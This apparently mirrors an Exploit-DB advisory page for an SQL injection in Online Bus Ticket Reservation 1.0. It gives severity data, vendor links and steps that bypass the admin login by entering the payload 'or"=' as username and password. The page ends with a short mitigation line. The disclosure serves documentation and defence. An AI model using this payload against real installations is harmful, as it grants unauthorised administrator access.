header-logo
Suggest Exploit
vendor:
Online Bus Ticket Reservation
by:
Sakshi Sharma
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Bus Ticket Reservation
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
2020

Online Bus Ticket Reservation 1.0 – SQL Injection

The SQL payload gets executed and authorization is bypassed successfully.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Online Bus Ticket Reservation 1.0 - SQL Injection
# Date: 2020-12-07
# Exploit Author: Sakshi Sharma
# Vendor Homepage: https://www.sourcecodester.com/php/5012/online-bus-ticket-reservation-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/busreservation.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: admin page

#Exploit
	Open the Application
	check the URL:
	http://localhost/busreservation/index.php
	Open Admin Login
	Enter username: 'or"='
	Enter password: 'or"='
	click on login
The SQL payload gets executed and authorization is bypassed successfully